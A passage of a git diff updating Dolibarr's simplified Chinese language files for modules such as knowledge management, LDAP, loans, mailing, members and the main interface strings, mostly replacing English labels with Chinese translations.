+KnowledgeManagementSetupPage = 知识管理系统设置页面 # # About page # About = 关于 -KnowledgeManagementAbout = About Knowledge Management -KnowledgeManagementAboutPage = Knowledge Management about page +KnowledgeManagementAbout = 关于知识管理 +KnowledgeManagementAboutPage = 知识管理简介页面 -KnowledgeManagementArea = Knowledge Management -MenuKnowledgeRecord = Knowledge base -ListKnowledgeRecord = List of articles -NewKnowledgeRecord = New article -ValidateReply = Validate solution -KnowledgeRecords = Articles -KnowledgeRecord = 项目 -KnowledgeRecordExtraFields = Extrafields for Article -GroupOfTicket=Group of tickets -YouCanLinkArticleToATicketCategory=You can link an article to a ticket group (so the article will be suggested during qualification of new tickets) -SuggestedForTicketsInGroup=Suggested for tickets when group is +KnowledgeManagementArea = 知识管理 +MenuKnowledgeRecord = 知识库 +ListKnowledgeRecord = 文章清单 +NewKnowledgeRecord = 新文章 +ValidateReply = 验证方案 +KnowledgeRecords = 文章 +KnowledgeRecord = 文章 +KnowledgeRecordExtraFields = 文章的附加字段 +GroupOfTicket=工单组 +YouCanLinkArticleToATicketCategory=您可以将文章链接到一个工单组(这样文章就会在这个组的任何工单上突出显示)。 +SuggestedForTicketsInGroup=Suggested on ticket creation -SetObsolete=Set as obsolete -ConfirmCloseKM=Do you confirm the closing of this article as obsolete ? -ConfirmReopenKM=Do you want to restore this article to status "Validated" ? +SetObsolete=设置为过时的 +ConfirmCloseKM=你是否确认要将这篇文章关闭并设定为已经过时吗? +ConfirmReopenKM=您想将这篇文章恢复到 "已验证 "状态吗? diff --git a/htdocs/langs/zh_CN/ldap.lang b/htdocs/langs/zh_CN/ldap.lang index 0e344352314..2215bfda1bc 100644 --- a/htdocs/langs/zh_CN/ldap.lang +++ b/htdocs/langs/zh_CN/ldap.lang @@ -5,7 +5,7 @@ LDAPInformationsForThisContact=在此LDAP数据库信息联系 LDAPInformationsForThisUser=LDAP数据库中该用户信息 LDAPInformationsForThisGroup=在LDAP数据库的资料本组 LDAPInformationsForThisMember=在LDAP数据库信息该会员 -LDAPInformationsForThisMemberType=Information in LDAP database for this member type +LDAPInformationsForThisMemberType=LDAP成员资格的数据库中的信息 LDAPAttributes=LDAP属性 LDAPCard=LDAP信息 LDAPRecordNotFound=记录中找不到LDAP数据库 @@ -13,15 +13,19 @@ LDAPUsers=在LDAP用户数据库 LDAPFieldStatus=地位 LDAPFieldFirstSubscriptionDate=首先认购日期 LDAPFieldFirstSubscriptionAmount=认购金额拳 -LDAPFieldLastSubscriptionDate=Latest subscription date -LDAPFieldLastSubscriptionAmount=Latest subscription amount +LDAPFieldLastSubscriptionDate=最新订阅日期 +LDAPFieldLastSubscriptionAmount=最新订阅金额 LDAPFieldSkype=Skype账号 -LDAPFieldSkypeExample=例如 : skype账号 +LDAPFieldSkypeExample=例如:skype 名称 UserSynchronized=用户同步 GroupSynchronized=集团同步 MemberSynchronized=会员同步 -MemberTypeSynchronized=Member type synchronized +MemberTypeSynchronized=成员类型已同步 ContactSynchronized=同步联系人 ForceSynchronize=力同步Dolibarr - >的LDAP ErrorFailedToReadLDAP=无法读取LDAP数据库。检查的LDAP模块设置和数据库获取。 -PasswordOfUserInLDAP=Password of user in LDAP +PasswordOfUserInLDAP=LDAP中用户的密码 +LDAPPasswordHashType=密码哈希类型 +LDAPPasswordHashTypeExample=服务器上使用的密码哈希类型 +SupportedForLDAPExportScriptOnly=只有 ldap 导出脚本支持 +SupportedForLDAPImportScriptOnly=只有 ldap 导入脚本支持 diff --git a/htdocs/langs/zh_CN/link.lang b/htdocs/langs/zh_CN/link.lang index 3c715594202..5c2a5c3dcf4 100644 --- a/htdocs/langs/zh_CN/link.lang +++ b/htdocs/langs/zh_CN/link.lang @@ -8,4 +8,4 @@ LinkRemoved=链接 %s 已移除 ErrorFailedToDeleteLink= 移除链接失败 '%s' ErrorFailedToUpdateLink= 更新链接失败 '%s' URLToLink=URL网址超链接 -OverwriteIfExists=Overwrite file if exists +OverwriteIfExists=如果存在就覆盖文件 diff --git a/htdocs/langs/zh_CN/loan.lang b/htdocs/langs/zh_CN/loan.lang index 6ab3065f727..0af45a180e6 100644 --- a/htdocs/langs/zh_CN/loan.lang +++ b/htdocs/langs/zh_CN/loan.lang @@ -23,12 +23,12 @@ AddLoan=创建贷款 FinancialCommitment=财务承诺 InterestAmount=利率 CapitalRemain=资本依旧 -TermPaidAllreadyPaid = This term is allready paid -CantUseScheduleWithLoanStartedToPaid = Can't use scheduler for a loan with payment started -CantModifyInterestIfScheduleIsUsed = You can't modify interest if you use schedule +TermPaidAllreadyPaid = 本期已支付 +CantUseScheduleWithLoanStartedToPaid = 无法生成已开始付款的贷款的时间线 +CantModifyInterestIfScheduleIsUsed = 如果您使用时间表,您就不能变更利息 # Admin ConfigLoan=货款模块设置 -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=默认会计科目资金 -LOAN_ACCOUNTING_ACCOUNT_INTEREST=默认会计科目利息 -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=默认会计科目保险 +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=编辑财务承诺 diff --git a/htdocs/langs/zh_CN/mailmanspip.lang b/htdocs/langs/zh_CN/mailmanspip.lang index d1a66a29775..be730addd7c 100644 --- a/htdocs/langs/zh_CN/mailmanspip.lang +++ b/htdocs/langs/zh_CN/mailmanspip.lang @@ -7,10 +7,10 @@ MailmanCreationSuccess=订阅测试执行成功 MailmanDeletionSuccess=非订阅测试执行成功 SynchroMailManEnabled=Mailman更新执行 SynchroSpipEnabled=SPIP更新执行 -DescADHERENT_MAILMAN_ADMINPW=Mailman 超级管理员administrator密码 +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman 超级管理员administrator密码 DescADHERENT_MAILMAN_URL=Mailman的订阅URL地址 DescADHERENT_MAILMAN_UNSUB_URL=Mailman的非订阅URL地址 -DescADHERENT_MAILMAN_LISTS=List(s) for automatic inscription of new members (separated by a comma) +DescADHERENT_MAILMAN_LISTS=自动登记新成员名单(以逗号分隔) SPIPTitle=SPIP内容管理系统 DescADHERENT_SPIP_SERVEUR=SPIP服务 DescADHERENT_SPIP_DB=SPIP 数据库名称 diff --git a/htdocs/langs/zh_CN/mails.lang b/htdocs/langs/zh_CN/mails.lang index 0bf81b9b2bb..e361c9fa7fe 100644 --- a/htdocs/langs/zh_CN/mails.lang +++ b/htdocs/langs/zh_CN/mails.lang @@ -7,10 +7,10 @@ MailCard=通过电子邮件发送卡 MailRecipients=收件人 MailRecipient=接收方 MailTitle=描述 -MailFrom=寄件者 +MailFrom=从 MailErrorsTo=Errors to MailReply=回复 -MailTo=收件者(s) +MailTo=接收方 MailToUsers=给用户 MailCC=抄送 MailToCCUsers=复制给用户 @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=按职位联系 MailingModuleDescEmailsFromFile=来自档案的电子邮件 MailingModuleDescEmailsFromUser=用户输入的电子邮件 MailingModuleDescDolibarrUsers=用户使用电子邮件 -MailingModuleDescThirdPartiesByCategories=第三方(按类别) +MailingModuleDescThirdPartiesByCategories=合作方 SendingFromWebInterfaceIsNotAllowed=不允许从Web界面发送。 EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/zh_CN/main.lang b/htdocs/langs/zh_CN/main.lang index 7a4386f62f8..3c874617524 100644 --- a/htdocs/langs/zh_CN/main.lang +++ b/htdocs/langs/zh_CN/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=stsongstdlight FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,9 +34,10 @@ NoTemplateDefined=此电子邮件类型没有可用的模板 AvailableVariables=可用的替代变量 NoTranslation=没有翻译 Translation=翻译 +Translations=翻译 CurrentTimeZone=PHP 服务器的时区 -EmptySearchString=Enter non empty search criterias -EnterADateCriteria=Enter a date criteria +EmptySearchString=输入非空搜索条件 +EnterADateCriteria=输入日期条件 NoRecordFound=空空如也——没有找到记录 NoRecordDeleted=未删除记录 NotEnoughDataYet=数据不足 @@ -53,22 +60,22 @@ ErrorFailedToSendMail=无法发送邮件(发件人=%s后,接收器=%s)的 ErrorFileNotUploaded=文件没有上传。检查大小不超过允许的最大值,即在磁盘上的可用空间是可用和有没有这已经与in这个目录同名文件。 ErrorInternalErrorDetected=检测到错误 ErrorWrongHostParameter=错误的主机参数 -ErrorYourCountryIsNotDefined=Your country is not defined. Go to Home-Setup-Edit and post the form again. -ErrorRecordIsUsedByChild=Failed to delete this record. This record is used by at least one child record. +ErrorYourCountryIsNotDefined=你的国家没有定义。 转到主页-设置-编辑和再次发布表单。 +ErrorRecordIsUsedByChild=删除此记录失败。 该记录由至少一个子记录使用。 ErrorWrongValue=错误的值 ErrorWrongValueForParameterX=错误的参数值%s ErrorNoRequestInError=无请求错误 -ErrorServiceUnavailableTryLater=Service not available at the moment. Try again later. +ErrorServiceUnavailableTryLater=暂时没有服务。 稍后再试。 ErrorDuplicateField=在唯一的栏位中使用了重复值 -ErrorSomeErrorWereFoundRollbackIsDone=Some errors were found. Changes have been rolled back. -ErrorConfigParameterNotDefined=Parameter %s is not defined in the Dolibarr config file conf.php. +ErrorSomeErrorWereFoundRollbackIsDone=发现了一些错误。 变更已回滚。 +ErrorConfigParameterNotDefined=参数%s没有在Dolibarr设定文件conf.php中定义 ErrorCantLoadUserFromDolibarrDatabase=在数据库无法找到用户%s ErrorNoVATRateDefinedForSellerCountry=错误,没有为国家'%s'设置增值税税率。 ErrorNoSocialContributionForSellerCountry=错误,没有为国家'%s'定义社会/财政税类型 ErrorFailedToSaveFile=错误,无法保存文件。 -ErrorCannotAddThisParentWarehouse=You are trying to add a parent warehouse which is already a child of a existing warehouse -FieldCannotBeNegative=Field "%s" cannot be negative -MaxNbOfRecordPerPage=Max. number of records per page +ErrorCannotAddThisParentWarehouse=您正在尝试加入一个已经有子仓库的父仓库 +FieldCannotBeNegative=字段%s不能为负值 +MaxNbOfRecordPerPage=每页最多记录数量 NotAuthorized=您无权执行此操作。 SetDate=设置日期 SelectDate=请选择日期 @@ -82,17 +89,17 @@ FileRenamed=该文件已成功重命名 FileGenerated=该文件已成功生成 FileSaved=该文件已成功保存 FileUploaded=文件上传成功 -FileTransferComplete=File(s) uploaded successfully +FileTransferComplete=文件上传成功 FilesDeleted=文件已成功删除 FileWasNotUploaded=一个文件被选中的附件,但还没有上传。点击“附加文件”上传。 NbOfEntries=No. of entries GoToWikiHelpPage=阅读在线帮助文档 (需要访问外网) GoToHelpPage=阅读帮助 -DedicatedPageAvailable=Dedicated help page related to your current screen -HomePage=Home Page +DedicatedPageAvailable=与您当前屏幕相关的专用帮助页面 +HomePage=首页 RecordSaved=记录已保存 RecordDeleted=记录已删除 -RecordGenerated=Record generated +RecordGenerated=记录已生成 LevelOfFeature=权限级别 NotDefined=未定义 DolibarrInHttpAuthenticationSoPasswordUseless=Dolibarr身份验证模式在配置文件 conf.php 中设置为 %s
      这意味着密码数据库在Dolibarr外部,因此更改此字段可能无效。 @@ -102,8 +109,8 @@ PasswordForgotten=忘记密码? NoAccount=没有账号? SeeAbove=见上文 HomeArea=主页 -LastConnexion=Last login -PreviousConnexion=Previous login +LastConnexion=最后登录 +PreviousConnexion=上次登录 PreviousValue=上一个值 ConnectedOnMultiCompany=对实体连接 ConnectedSince=当前连接状态 @@ -119,14 +126,14 @@ InformationToHelpDiagnose=This information can be useful for diagnostic purposes MoreInformation=更多信息 TechnicalInformation=技术信息 TechnicalID=技术ID -LineID=Line ID +LineID=行 ID NotePublic=备注 (公开) NotePrivate=备注(私人) PrecisionUnitIsLimitedToXDecimals=Dolibarr是安装精度的限制价格单位为%s小数。 DoTest=测试 ToFilter=筛选 NoFilter=不筛选 -WarningYouHaveAtLeastOneTaskLate=Warning, you have at least one element that has exceeded the tolerance time. +WarningYouHaveAtLeastOneTaskLate=警告,您至少有一个元素已经超过了容忍时间 yes=是 Yes=是 no=没有 @@ -163,7 +170,7 @@ Close=关闭 CloseAs=设置状态 CloseBox=将插件从你的看板中移除 Confirm=确认 -ConfirmSendCardByMail=Do you really want to send the content of this card by mail to %s? +ConfirmSendCardByMail=您真的想把这张卡片的内容邮寄给%s吗? Delete=删除 Remove=移除 Resiliate=终止 @@ -176,12 +183,12 @@ ToValidate=验证 NotValidated=未经验证 Save=保存 SaveAs=另存为 -SaveAndStay=Save and stay -SaveAndNew=Save and new +SaveAndStay=保存并留下 +SaveAndNew=保存并新增 TestConnection=测试连接 ToClone=复制 -ConfirmCloneAsk=Are you sure you want to clone the object %s? -ConfirmClone=Choose the data you want to clone: +ConfirmCloneAsk=您确定要复制这个对象%s吗? +ConfirmClone=选取你想要复制的数据: NoCloneOptionsSpecified=未定义可复制数据 Of=的 Go=下一步 @@ -193,16 +200,17 @@ ShowCardHere=显示卡片 Search=搜索 SearchOf=搜索 SearchMenuShortCut=Ctrl + shift + f -QuickAdd=Quick add +QuickAdd=快速新增 QuickAddMenuShortCut=Ctrl + shift + l Valid=有效 Approve=批准 Disapprove=不同意 ReOpen=重新开放 -Upload=Upload +OpenVerb=打开 +Upload=上传 ToLink=链接 Select=选取 -SelectAll=Select all +SelectAll=全选 Choose=选择 Resize=调整大小 ResizeOrCrop=调整大小或裁剪 @@ -212,14 +220,14 @@ User=用户 Users=用户 Group=组 Groups=群组 -UserGroup=User group -UserGroups=User groups +UserGroup=用户群组 +UserGroups=用户群组 NoUserGroupDefined=未定义用户群组 Password=密码 -PasswordRetype=重新输入您的密码 +PasswordRetype=重复您的密码 NoteSomeFeaturesAreDisabled=敬告:本演示中部分功能/模块均处于禁用状态,这是正常的请保持镇定。 Name=名称 -NameSlashCompany=Name / Company +NameSlashCompany=姓名/公司 Person=人 Parameter=参数 Parameters=参数 @@ -227,7 +235,7 @@ Value=值 PersonalValue=自定义 NewObject=新%s NewValue=新值 -OldValue=Old value %s +OldValue=旧值%s CurrentValue=当前值 Code=编码 Type=类型 @@ -242,7 +250,7 @@ Family=家庭 Description=描述 Designation=描述 DescriptionOfLine=说明线 -DateOfLine=Date of line +DateOfLine=日期行 DurationOfLine=Duration of line ParentLine=Parent line ID Model=文档模板 @@ -250,7 +258,7 @@ DefaultModel=默认文档模板 Action=事件 About=关于 Number=数字 -NumberByMonth=Total reports by month +NumberByMonth=每月报告总数 AmountByMonth=每月金额 Numero=数字 Limit=限制 @@ -267,7 +275,7 @@ Cards=信息卡 Card=信息卡 Now=现在 HourStart=开始时间 -Deadline=Deadline +Deadline=截止日期 Date=日期 DateAndHour=日期与小时 DateToday=今天的日期 @@ -282,7 +290,7 @@ DateModificationShort=变更日期 IPModification=Modification IP DateLastModification=最后修改日期 DateValidation=验证日期 -DateSigning=Signing date +DateSigning=签名日期 DateClosing=截止日期 DateDue=截止日期 DateValue=确认日期 @@ -346,7 +354,7 @@ MegaBytes=MB GigaBytes=GB TeraBytes=TB UserAuthor=制作: -UserModif=Updated by +UserModif=更新者 b=b. Kb=Kb Mb=兆 @@ -357,54 +365,54 @@ Copy=复制 Paste=粘贴 Default=默认 DefaultValue=默认值 -DefaultValues=Default values/filters/sorting +DefaultValues=默认值/过滤器/排序 Price=价格 PriceCurrency=价格(货币) UnitPrice=单价 -UnitPriceHT=Unit price (excl.) -UnitPriceHTCurrency=Unit price (excl.) (currency) +UnitPriceHT=单位价格(不包括) +UnitPriceHTCurrency=单位价格(不包括)(货币) UnitPriceTTC=单价 PriceU=单价 PriceUHT=单价(不含税) -PriceUHTCurrency=U.P (net) (currency) +PriceUHTCurrency=单价(净)(货币) PriceUTTC=单价(含税) Amount=金额 AmountInvoice=发票金额 AmountInvoiced=发票金额 -AmountInvoicedHT=Amount invoiced (excl. tax) -AmountInvoicedTTC=Amount invoiced (inc. tax) +AmountInvoicedHT=开票金额(不含税金) +AmountInvoicedTTC=开票金额(含税金) AmountPayment=付款金额 -AmountHTShort=Amount (excl.) +AmountHTShort=金额(不含) AmountTTCShort=金额(含税) -AmountHT=Amount (excl. tax) +AmountHT=金额(不含税金) AmountTTC=金额(含税) AmountVAT=增值税总金额 -MulticurrencyAlreadyPaid=Already paid, original currency +MulticurrencyAlreadyPaid=已支付,原币 MulticurrencyRemainderToPay=保持支付,原始货币 MulticurrencyPaymentAmount=付款金额,原始货币 -MulticurrencyAmountHT=Amount (excl. tax), original currency +MulticurrencyAmountHT=金额(不含税金),原币 MulticurrencyAmountTTC=金额(包括税),原始货币 MulticurrencyAmountVAT=金额税,原始货币 -MulticurrencySubPrice=Amount sub price multi currency +MulticurrencySubPrice=子价格金额,多币种 AmountLT1=税额2 AmountLT2=税额3 AmountLT1ES=RE 额 AmountLT2ES=IRPF 额 AmountTotal=总金额 AmountAverage=平均金额 -PriceQtyMinHT=Price quantity min. (excl. tax) -PriceQtyMinHTCurrency=Price quantity min. (excl. tax) (currency) -PercentOfOriginalObject=Percent of original object -AmountOrPercent=Amount or percent +PriceQtyMinHT=最小数量价格(不含税金) +PriceQtyMinHTCurrency=最小数量价格(不含税金)(货币) +PercentOfOriginalObject=原始对象的百分比 +AmountOrPercent=金额或百分比 Percentage=百分比 Total=总计 SubTotal=小计 -TotalHTShort=Total (excl.) -TotalHT100Short=Total 100%% (excl.) +TotalHTShort=总计(不含) +TotalHT100Short=总计100%%(不含) TotalHTShortCurrency=Total (excl. in currency) TotalTTCShort=共计(含税) -TotalHT=Total (excl. tax) -TotalHTforthispage=Total (excl. tax) for this page +TotalHT=总计(不含税金) +TotalHTforthispage=此页总计(不含税金) Totalforthispage=本页总计 TotalTTC=共计(含税) TotalTTCToYourCredit=共计(含税)你的信用 @@ -416,7 +424,7 @@ TotalLT1ES=共有再生能源 TotalLT2ES=共有IRPF TotalLT1IN=总CGST TotalLT2IN=SGST总计 -HT=Excl. tax +HT=不含税金 TTC=含增值税 INCVATONLY=含增值税 INCT=所有税收 @@ -434,7 +442,7 @@ LT1IN=CGST LT2IN=SGST LT1GC=Additionnal cents VATRate=增值税率 -RateOfTaxN=Rate of tax %s +RateOfTaxN=税率%s VATCode=税率代码 VATNPR=税率NPR DefaultTaxRate=默认税率 @@ -446,10 +454,10 @@ RemainToPay=继续付钱 Module=模块/应用程序 Modules=模块/应用 Option=选项 -Filters=Filters +Filters=过滤器 List=列表 FullList=全部列表 -FullConversation=Full conversation +FullConversation=全部转换 Statistics=统计 OtherStatistics=其他统计 Status=状态 @@ -469,7 +477,7 @@ ActionNotApplicable=不适用 ActionRunningNotStarted=等待 ActionRunningShort=进行中 ActionDoneShort=已完成 -ActionUncomplete=Incomplete +ActionUncomplete=不完整的 LatestLinkedEvents=最新的%s链接事件 CompanyFoundation=公司/组织 Accountant=会计 @@ -481,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=有关此会员的事件 ActionsOnProduct=有关此产品的事件 +ActionsOnAsset=Events for this fixed asset NActionsLate=逾期 %s ToDo=未完成 Completed=已完成 @@ -681,7 +690,7 @@ FeatureNotYetSupported=功能尚不支持 CloseWindow=关闭窗口 Response=反应 Priority=优先级 -SendByMail=Send by email +SendByMail=用电子邮件发送 MailSentBy=电子邮件发送者: NotSent=不发送 TextUsedInTheMessageBody=电子邮件正文 @@ -689,8 +698,8 @@ SendAcknowledgementByMail=发送确认邮件 SendMail=发送电子邮件 Email=电子邮件 NoEMail=没有电子邮件 -AlreadyRead=Already read -NotRead=Unread +AlreadyRead=已读取 +NotRead=未读 NoMobilePhone=没有手机号码 Owner=拥有者 FollowingConstantsWillBeSubstituted=以下常量将与相应的值代替。 @@ -816,7 +825,7 @@ LinkToMo=Link to Mo CreateDraft=创建草稿 SetToDraft=返回草稿 ClickToEdit=单击“编辑” -ClickToRefresh=Click to refresh +ClickToRefresh=点击刷新 EditWithEditor=使用CKEditor编辑 EditWithTextEditor=用文本编辑器编辑 EditHTMLSource=编辑HTML源 @@ -831,7 +840,7 @@ ByDay=按天 BySalesRepresentative=按销售代表 LinkedToSpecificUsers=链接到指定的用户联系人 NoResults=没有结果 -AdminTools=Admin Tools +AdminTools=管理工具 SystemTools=系统工具 ModulesSystemTools=模块工具 Test=测试 @@ -867,17 +876,17 @@ Denied=否认 ListOf=列表%s ListOfTemplates=模板列表 Gender=性别 -Genderman=Male -Genderwoman=Female +Genderman=男性 +Genderwoman=女性 Genderother=其他 ViewList=列表视图 -ViewGantt=Gantt view -ViewKanban=Kanban view +ViewGantt=甘特图 +ViewKanban=看板图 Mandatory=强制性 Hello=你好 GoodBye=再见 Sincerely=诚恳地 -ConfirmDeleteObject=Are you sure you want to delete this object? +ConfirmDeleteObject=您确定要删除这个对象吗? DeleteLine=删除行 ConfirmDeleteLine=您确定要删除此行吗? ErrorPDFTkOutputFileNotFound=Error: the file was not generated. Please check that the 'pdftk' command is installed in a directory included in the $PATH environment variable (linux/unix only) or contact your system administrator. @@ -886,8 +895,8 @@ TooManyRecordForMassAction=Too many records selected for mass action. The action NoRecordSelected=未选定记录 MassFilesArea=批量动作生成文件区 ShowTempMassFilesArea=显示批量动作生成文件区 -ConfirmMassDeletion=Bulk Delete confirmation -ConfirmMassDeletionQuestion=Are you sure you want to delete the %s selected record(s)? +ConfirmMassDeletion=批量删除确认 +ConfirmMassDeletionQuestion=您确定要删除%s已选记录吗? RelatedObjects=关联项目 ClassifyBilled=归为已付款 ClassifyUnbilled=分类未开单 @@ -921,26 +930,27 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=下载 DownloadDocument=下载文件 +DownloadSignedDocument=Download signed document ActualizeCurrency=更新货币汇率 Fiscalyear=财务年度 ModuleBuilder=Module and Application Builder SetMultiCurrencyCode=设置货币 BulkActions=批量行动 ClickToShowHelp=单击以显示工具提示帮助 -WebSite=Website +WebSite=网站 WebSites=网站 -WebSiteAccounts=Website accounts +WebSiteAccounts=网站帐号 ExpenseReport=费用报表 ExpenseReports=费用报表 HR=HR HRAndBank=人力资源和银行 AutomaticallyCalculated=自动计算 TitleSetToDraft=回到草案 -ConfirmSetToDraft=Are you sure you want to go back to Draft status? +ConfirmSetToDraft=您确定要返回草稿状态吗? ImportId=导入ID Events=事件 -EMailTemplates=Email templates -FileNotShared=File not shared to external public +EMailTemplates=电子邮件模板 +FileNotShared=未向外部公众分享的文件 Project=项目 Projects=项目 LeadOrProject=Lead | Project @@ -1033,11 +1043,11 @@ SearchIntoUsers=用户 SearchIntoProductsOrServices=产品或服务 SearchIntoBatch=Lots / Serials SearchIntoProjects=项目 -SearchIntoMO=Manufacturing Orders +SearchIntoMO=制造业订单 SearchIntoTasks=任务 SearchIntoCustomerInvoices=客户发票 SearchIntoSupplierInvoices=供应商发票 -SearchIntoCustomerOrders=Sales orders +SearchIntoCustomerOrders=销售订单 SearchIntoSupplierOrders=订单 SearchIntoCustomerProposals=报价单 SearchIntoSupplierProposals=供应商提案 @@ -1046,9 +1056,10 @@ SearchIntoContracts=合同 SearchIntoCustomerShipments=客户运输 SearchIntoExpenseReports=费用报表 SearchIntoLeaves=Leave +SearchIntoKM=知识库 SearchIntoTickets=票据 SearchIntoCustomerPayments=Customer payments -SearchIntoVendorPayments=Vendor payments +SearchIntoVendorPayments=供应商付款 SearchIntoMiscPayments=杂项付款 CommentLink=说明 NbComments=评论数量 @@ -1120,7 +1131,7 @@ NotUsedForThisCustomer=Not used for this customer AmountMustBePositive=Amount must be positive ByStatus=By status InformationMessage=信息 -Used=Used +Used=已使用 ASAP=As Soon As Possible CREATEInDolibarr=Record %s created MODIFYInDolibarr=Record %s modified @@ -1137,19 +1148,33 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=税率 +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation -ConfirmMassEnablingQuestion=Are you sure you want to enable the %s selected record(s)? +ConfirmMassEnablingQuestion=您确定要启用%s选定的记录吗? ConfirmMassDisabling=mass disabling confirmation ConfirmMassDisablingQuestion=Are you sure you want to disable the %s selected record(s)? RecordsEnabled=%s record(s) enabled @@ -1174,9 +1199,14 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=内部用户 +ExternalUser=外部用户 diff --git a/htdocs/langs/zh_CN/margins.lang b/htdocs/langs/zh_CN/margins.lang index 00c7c495b89..7c550e822bf 100644 --- a/htdocs/langs/zh_CN/margins.lang +++ b/htdocs/langs/zh_CN/margins.lang @@ -16,7 +16,7 @@ MarginDetails=利润明细 ProductMargins=产品利润 CustomerMargins=客户利润 SalesRepresentativeMargins=销售代表利润率 -ContactOfInvoice=Contact of invoice +ContactOfInvoice=发票联系人 UserMargins=用户利润 ProductService=产品或服务 AllProducts=全部产品和服务 diff --git a/htdocs/langs/zh_CN/members.lang b/htdocs/langs/zh_CN/members.lang index 9100bcd5951..395a0427d70 100644 --- a/htdocs/langs/zh_CN/members.lang +++ b/htdocs/langs/zh_CN/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=另一名成员 (名称: %s ErrorUserPermissionAllowsToLinksToItselfOnly=出于安全原因,您必须被授予权限编辑所有用户能够连接到用户的成员是不是你的。 SetLinkToUser=用户链接到Dolibarr SetLinkToThirdParty=链接到Dolibarr合作方 +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=会员列表 MembersListToValid=准会员 (待验证)列表 @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=新会员 @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=成员类型无法删除 NewSubscription=新的捐献 NewSubscriptionDesc=这种形式可以让你记录你的订阅为基础的新会员。如果你想续订(如果已经是会员),请联系,而不是通过电子邮件%s 机构董事会。 Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=为期 +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=逾期 SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=内容您的会员卡 # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=我们希望通知您收到了您的会员资格请求。

      ThisIsContentOfYourMembershipWasValidated=我们希望通过以下信息通知您,您的会员资格已经过验证:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

